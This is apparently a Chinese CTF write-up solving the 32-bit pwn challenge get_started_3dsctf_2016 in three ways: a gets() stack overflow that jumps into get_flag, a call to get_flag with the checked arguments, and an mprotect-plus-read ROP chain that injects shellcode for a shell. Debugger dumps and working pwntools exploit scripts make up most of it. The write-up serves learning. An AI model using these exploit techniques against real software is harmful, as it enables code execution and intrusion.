值得好好记录并学习的一道题 三种做法三种难度
[bss提权]GET_STARTED_3DSCTF_2016 审计 1 2 3 4 5 6 7 8 int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [esp+4h] [ebp-38h] printf("Qual a palavrinha magica? ", v4); gets(&v4); return 0; }
在main函数中 得到的东西并不多 只能说存在gets的栈溢出可能 查看一下v4参数
1 2 3 4 5 -0000003C var_3C dd ? -00000038 var_38 db ? -00000037 db ? ; undefined -00000036 db ? ; undefined -00000035 db ? ; undefined
没有太多有用的地方 倒是看到了有个get_flag函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void __cdecl get_flag(int a1, int a2) { int v2; // eax int v3; // esi unsigned __int8 v4; // al int v5; // ecx unsigned __int8 v6; // al if ( a1 == 814536271 && a2 == 425138641 ) { v2 = fopen("flag.txt", "rt"); v3 = v2; v4 = getc(v2); if ( v4 != 255 ) { v5 = (char)v4; do { putchar(v5); v6 = getc(v3); v5 = (char)v6; } while ( v6 != 255 ); } fclose(v3); } }
有个if判断 其实可以不要判断直接利用栈溢出 溢出后让eip指向此处fopen的地址
暴力溢出 1 2 3 4 .text:080489B6 jnz short loc_8048A15 .text:080489B8 mov [esp+0Ch+var_8], (offset aFileTooShort+0Ch) ; "rt" .text:080489C0 mov [esp+0Ch+var_C], offset aFlagTxt ; "flag.txt" .text:080489C7 call fopen
小细节 执行函数时 最后一步才是call执行 前面还需要加载参数堆栈 指向0x080489B8即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> stack 50 00:0000│ esp 0xffffd660 —▸ 0xffffd664 ◂— 'dawoxiansigema' 01:0004│ eax 0xffffd664 ◂— 'dawoxiansigema' 02:0008│ 0xffffd668 ◂— 'xiansigema' 03:000c│ 0xffffd66c ◂— 'sigema' 04:0010│ 0xffffd670 ◂— 0x800616d /* 'ma' */ 05:0014│ 0xffffd674 ◂— 'ineI' 06:0018│ 0xffffd678 ◂— 0x0 07:001c│ 0xffffd67c ◂— 0x2 08:0020│ 0xffffd680 —▸ 0x80eb070 (__exit_funcs) —▸ 0x80ec2a0 (initial) ◂— 0x0 09:0024│ 0xffffd684 —▸ 0xffffd754 —▸ 0xffffd87a ◂— '/ctf/work/get_started_3dsctf_2016' 0a:0028│ 0xffffd688 —▸ 0xffffd75c —▸ 0xffffd89c ◂— 'LESSOPEN=| /usr/bin/lesspipe %s' 0b:002c│ 0xffffd68c —▸ 0x804818c (_init) ◂— push ebx 0c:0030│ 0xffffd690 —▸ 0x80eb00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067c90 (__strcpy_sse2) ◂— mov edx, dword ptr [esp + 4] 0d:0034│ 0xffffd694 ◂— 'ineI' 0e:0038│ 0xffffd698 ◂— 0x0 0f:003c│ 0xffffd69c —▸ 0x8048c6e (generic_start_main+542) ◂— add esp, 0x10 10:0040│ 0xffffd6a0 ◂— 0x1 11:0044│ 0xffffd6a4 —▸ 0xffffd754 —▸ 0xffffd87a ◂— '/ctf/work/get_started_3dsctf_2016'
试图计算eax与ebp差值时发现 无法定位ebp位置 gdb并没有给出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0x8048a23 <main+3> mov dword ptr [esp], 0x80b… 0x8048a2a <main+10> call printf … 0x8048a2f <main+15> lea eax, [esp + 4] 0x8048a33 <main+19> mov dword ptr [esp], eax 0x8048a36 <main+22> call gets … ► 0x8048a3b <main+27> xor eax, eax 0x8048a3d <main+29> add esp, 0x3c 0x8048a40 <main+32> ret ↓ 0x8048c6e <generic_start_main+542> add esp, 0x10 0x8048c71 <generic_start_main+545> sub esp, 0xc 0x8048c74 <generic_start_main+548> push eax
看了眼寄存器 EBP的值始终是0
1 2 3 *EBP 0x0 *ESP 0xffffd660 —▸ 0xffffd664 ◂— 'dawoxiansigema' *EIP 0x8048a3b (main+27) ◂— xor eax, eax
可是查看gets函数时 push和mov一样没少
1 2 3 4 5 6 .text:0804F630 ; __unwind { // __gcc_personality_v0 .text:0804F630 push ebp ; Alternative name is '_IO_gets' .text:0804F631 mov ebp, esp .text:0804F633 push edi .text:0804F634 push esi .text:0804F635 push ebx
原因出在main上 横向对比一下ctfwiki上面的ret2shellcode
1 2 3 4 5 6 7 8 9 10 11 12 .text:0804852D main proc near ; DATA XREF: _start+17↑o .text:0804852D .text:0804852D s = byte ptr -64h .text:0804852D argc = dword ptr 8 .text:0804852D argv = dword ptr 0Ch .text:0804852D envp = dword ptr 10h .text:0804852D .text:0804852D ; __unwind { .text:0804852D push ebp .text:0804852E mov ebp, esp .text:08048530 and esp, 0FFFFFFF0h .text:08048533 add esp, 0FFFFFF80h
ret2shellcode的main函数在一开始就对ebp进行了push操作导致我们在堆栈之后可以很容易找到main函数的返回地址 但是在这题就没有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .text:08048A20 public main .text:08048A20 main proc near ; DATA XREF: _start+17↑o .text:08048A20 .text:08048A20 var_3C = dword ptr -3Ch .text:08048A20 var_38 = byte ptr -38h .text:08048A20 argc = dword ptr 4 .text:08048A20 argv = dword ptr 8 .text:08048A20 envp = dword ptr 0Ch .text:08048A20 .text:08048A20 sub esp, 3Ch .text:08048A23 mov [esp+3Ch+var_3C], offset aQualAPalavrinh ; "Qual a palavrinha magica? " .text:08048A2A call printf .text:08048A2F lea eax, [esp+3Ch+var_38] .text:08048A33 mov [esp+3Ch+var_3C], eax .text:08048A36 call gets
只对了esp进行增长操作 并没有push ebp 所以ebp在进入下一个函数之前都是0 这点加深了我对栈溢出的认识 原来不是所有的函数调用栈都会有这个过程(顺带反思了一下自己为什么会有在gets内进行栈溢出的想法)
1 char v4; // [esp+4h] [ebp-38h]
那也只能照着这个-38试一下 不然我也不会了 小细节 由于没有push ebp 所以填充38个之后就是返回地址 结果本地成功打通 当然为什么是本地是因为exit的原因 不过在暴力溢出的条件下是无法使用exit的 具体后面再说 当然这种直接暴力溢出的对于利用已有函数拿shell或者提权操作都是很香的
1 2 3 4 5 6 from pwn import * sh = process('./get_started_3dsctf_2016') context.log_level = 'debug' target_addr = 0x080489B8 sh.sendline(0x38 * 'a'+p32(target_addr)) sh.recv()
满足IF条件的溢出 这里要补充一个点 以ctfwiki的ret2txt为例
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets(&s); strncpy(buf2, &s, 0x64u); printf("bye bye ~"); return 0; }
这个是他的main函数 我们如果查看main的栈结构的话是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 db ? ; undefined -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 argc dd ? +0000000C argv dd ? ; offset +00000010 envp dd ? ; offset +00000014 +00000014 ; end of stack variables
只截取了一点 上面的都是s的 r指的是ret地址 而后面的argc和argv指的是main()处的参数 也就是说传的参数位置在返回地址的高4个字节对于这块的栈结构可以简单描述为
1 esp+缓存区+ebp+返回地址+参数(当然ebp不是必有的)
当然肯定有人有疑问 我们查看栈结构的时候 输入gets的值一直都在返回地址上方嘛
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pwndbg> stack 50 00:0000│ esp 0xffffd650 —▸ 0xffffd66c ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama' 01:0004│ 0xffffd654 ◂— 0x0 02:0008│ 0xffffd658 ◂— 0x1 03:000c│ 0xffffd65c ◂— 0x0 ... ↓ 2 skipped 06:0018│ 0xffffd668 —▸ 0xf7ffd000 ◂— 0x2bf24 07:001c│ eax 0xffffd66c ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama' 08:0020│ 0xffffd670 ◂— 'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama' 09:0024│ 0xffffd674 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama' 0a:0028│ 0xffffd678 ◂— 'daaaeaaafaaagaaahaaaiaaajaaakaaalaaama' 0b:002c│ 0xffffd67c ◂— 'eaaafaaagaaahaaaiaaajaaakaaalaaama' 0c:0030│ 0xffffd680 ◂— 'faaagaaahaaaiaaajaaakaaalaaama' 0d:0034│ 0xffffd684 ◂— 'gaaahaaaiaaajaaakaaalaaama' 0e:0038│ 0xffffd688 ◂— 'haaaiaaajaaakaaalaaama' 0f:003c│ 0xffffd68c ◂— 'iaaajaaakaaalaaama' 10:0040│ 0xffffd690 ◂— 'jaaakaaalaaama' 11:0044│ 0xffffd694 ◂— 'kaaalaaama' 12:0048│ 0xffffd698 ◂— 'laaama' 13:004c│ edx-2 0xffffd69c ◂— 0x800616d /* 'ma' */ 14:0050│ 0xffffd6a0 —▸ 0xf7fbd3fc (__exit_funcs) —▸ 0xf7fbe180 (initial) ◂— 0x0 15:0054│ 0xffffd6a4 ◂— 0x40000 16:0058│ 0xffffd6a8 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1 17:005c│ 0xffffd6ac —▸ 0x8048722 (__libc_csu_init+82) ◂— add edi, 1 18:0060│ 0xffffd6b0 ◂— 0x1 19:0064│ 0xffffd6b4 —▸ 0xffffd774 —▸ 0xffffd898 ◂— '/ctf/work/ret2text' 1a:0068│ 0xffffd6b8 —▸ 0xffffd77c —▸ 0xffffd8ab ◂— 'LESSOPEN=| /usr/bin/lesspipe %s' 1b:006c│ 0xffffd6bc —▸ 0xf7e06479 (__cxa_atexit+41) ◂— add esp, 0x1c 1c:0070│ 0xffffd6c0 —▸ 0xf7fe22f0 ◂— endbr32 1d:0074│ 0xffffd6c4 ◂— 0x0 1e:0078│ 0xffffd6c8 —▸ 0x80486db (__libc_csu_init+11) ◂— add ebx, 0x1925 1f:007c│ 0xffffd6cc ◂— 0x0 20:0080│ 0xffffd6d0 —▸ 0xf7fbd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c 21:0084│ 0xffffd6d4 —▸ 0xf7fbd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c 22:0088│ ebp 0xffffd6d8 ◂— 0x0 23:008c│ 0xffffd6dc —▸ 0xf7decee5 (__libc_start_main+245) ◂— add esp, 0x10 24:0090│ 0xffffd6e0 ◂— 0x1 25:0094│ 0xffffd6e4 —▸ 0xffffd774 —▸ 0xffffd898 ◂— '/ctf/work/ret2text' 26:0098│ 0xffffd6e8 —▸ 0xffffd77c
这是因为 上方的字符可以理解为一个存储区 因为函数一开头就给了个char s 就是用来存储gets传来的参数的 事实大于雄辩 是不是这样写exp跑一下就知道了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * sh = process('./get_started_3dsctf_2016') context.log_level = 'debug' target_addr = 0x080489A0 sh.sendline('a' * 0x38 + p32(target_addr) + 'aaaa' + p32(0x308CD64F) + p32(0x195719D1)) sh.recv() # 'a'*0x38 = padding # p32(target_addr) = get_flag函数地址 # 'aaaa' = get_flag函数的返回地址 不过我们本地拿flag不需要仔细构造 随便就行 # 后面俩p32是if里的俩参数 [+] Starting local process './get_started_3dsctf_2016': pid 7724 [DEBUG] Sent 0x49 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000030 61 61 61 61 61 61 61 61 a0 89 04 08 61 61 61 61 │aaaa│aaaa│····│aaaa│ 00000040 4f d6 8c 30 d1 19 57 19 0a │O··0│··W·│·│ 00000049 [DEBUG] Received 0x2b bytes: 'Qual a palavrinha magica? ffffllllaaaagggg\\\\n' [*] Stopped process './get_started_3dsctf_2016' (pid 7724)
事实证明本地是可以打通的 只不过我们没有构造好get_flag的返回地址 导致程序是以一种错误的方式终止的 这样在靶机是不会有回显的 我们需要解决他 实际上也好解决 可以利用exit函数 而且他自带
1 2 3 4 5 6 7 8 9 10 .text:0804E6A0 public exit .text:0804E6A0 exit proc near ; CODE XREF: generic_start_main+225↑p .text:0804E6A0 .text:0804E6A0 status = dword ptr 4 .text:0804E6A0 .text:0804E6A0 ; __unwind { .text:0804E6A0 sub esp, 0Ch .text:0804E6A3 push 1 ; int .text:0804E6A5 push 1 ; int .text:0804E6A7 push
只需要把aaaa改为p32(0x0804E6A0)即可
1 2 3 4 5 6 7 8 9 10 [+] Opening connection to node4.buuoj.cn on port 29712: Done [DEBUG] Sent 0x49 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000030 61 61 61 61 61 61 61 61 a0 89 04 08 a0 e6 04 08 │aaaa│aaaa│····│····│ 00000040 4f d6 8c 30 d1 19 57 19 0a │O··0│··W·│·│ 00000049 [DEBUG] Received 0x45 bytes: 'Qual a palavrinha magica? flag{c16165e1-3204-49b5-bd78-714d3aa7c575}\\\\n' [*] Closed connection to node4.buuoj.cn port 29712
Mprotect暴力getshell 首先是关于程序链接方式的问题
1 2 root@85eeceab223d:/ctf/work# ldd get_started_3dsctf_2016 not a dynamic executable
程序分为静态、动态链接两种情况 对于静态链接的程序 据说是蛮大可能有Mprotect这个函数
1 2 3 4 int mprotect(void *addr, size_t len, int prot); addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。 len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。取1000即可 prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用 不过一般做题赋值7就行了
也就是说我们需要知道利用段的起始位置 我们先用vmmap查看一下程序地址段的权限情况
1 2 3 4 5 6 0x8048000 0x80ea000 r-xp a2000 0 /ctf/work/get_started_3dsctf_2016 0x80ea000 0x80ec000 rw-p 2000 a1000 /ctf/work/get_started_3dsctf_2016 0x80ec000 0x810f000 rw-p 23000 0 [heap] 0xf7ff8000 0xf7ffc000 r--p 4000 0 [vvar] 0xf7ffc000 0xf7ffe000 r-xp 2000 0 [vdso] 0xfffdd000 0xffffe000 rw-p 21000 0 [stack]
后四个段先不动为好 可能会破坏栈结构导致异常退出 可以利用0x80ea000这个段
1 2 3 4 5 mprotect_addr ret_addr buf_addr buf_size buf_prot
而我们调用只是修改了段落权限 想要getshell还需要往里写入数据 之前ctfwiki的ret2shellcode是因为gets直接把数据存入bss段 而此处我们需要人为指定数据段写入内容
1 2 3 4 ssize_t read (int fd, void *buf, size_t count); # fd设为0即可 * buf为段开始地址 # count为段长
我们可以利用read函数 将我们写好的shell写入我们刚刚给rwx权限的段
1 2 3 4 5 read_addr ret_addr fd(赋0即可) buf_addr len
只不过 mprotect进行传参时 我们需要在结束之后继续调用read函数 此时的栈结构大概是这个样子 3个参数我写在了一起 不然太麻烦了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | | +------------------+ | read_argv | +------------------+ | read_retaddr | +------------------+ | read | +------------------+ | mprotect_argv | +------------------+ | mprotetc_retaddr | +------------------+ | mprotect | +------------------+ | saved ebp | +------------------+ | | | | | | +------------------+ | | esp-->+------------------+
当执行完mprotect函数之后 EIP指向mprotetc_retaddr 然后跳转到这个地址继续执行程序 而每次的地址都不太一样 导致我们无法将mprotetc_retaddr处地址设置为read函数的地址 此时用到Ropdaget
1 2 3 4 5 6 7 8 9 10 11 $ ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop 0x0809e102 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080b91e6 : pop eax ; ret 0x0804c56d : pop eax ; ret 0x80e 0x080d9ff8 : pop eax ; ret 0xfff7 0x080dfcd8 : pop eax ; ret 0xfff9 0x0805bf3d : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x0809e4c5 : pop ebp ; pop esi ; pop edi ; ret 0x080483ba : pop ebp ; ret 0x080a25b9 : pop ebp ; ret 0x10
选取0x0809e4c5设为mprotect_retaddr的值 因为当mprotect执行完毕时 会清空栈空间 此时栈顶就是mprotect_addr 而此处值为0x0809e4c5 则会执行3次pop 将mprotect的3个参数出栈至寄存器 之后执行ret 在执行时 栈顶正是我们输入的read的函数地址 而执行ret则是将栈顶出栈至EIP寄存器 栈顶指针顺势+4 EIP设置后就会按计划执行read函数指令了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * context.log_level = 'debug' #sh = remote('node4.buuoj.cn',29712) sh = process('./get_started_3dsctf_2016') mprotect_addr = 0x0806EC80 buf_addr = 0x80ea000 buf_size = 0x1000 buf_prot = 0x7 pop_3_ret = 0x0804f460 read_addr = 0x0806E140 payload = b'a' * 0x38 payload += p32(mprotect_addr) payload += p32(pop_3_ret) payload += p32(buf_addr) payload += p32(buf_size) payload += p32(buf_prot) payload += p32(read_addr) payload += p32(buf_addr) payload += p32(0) payload += p32(buf_addr) payload += p32(0x100) sh.sendline(payload) shellcode = asm(shellcraft.sh()) sh.sendline(shellcode) sh.interactive()
当然read函数执行完之后返回地址需要是我们设置权限的段地址 我们需要跳转到那来getshell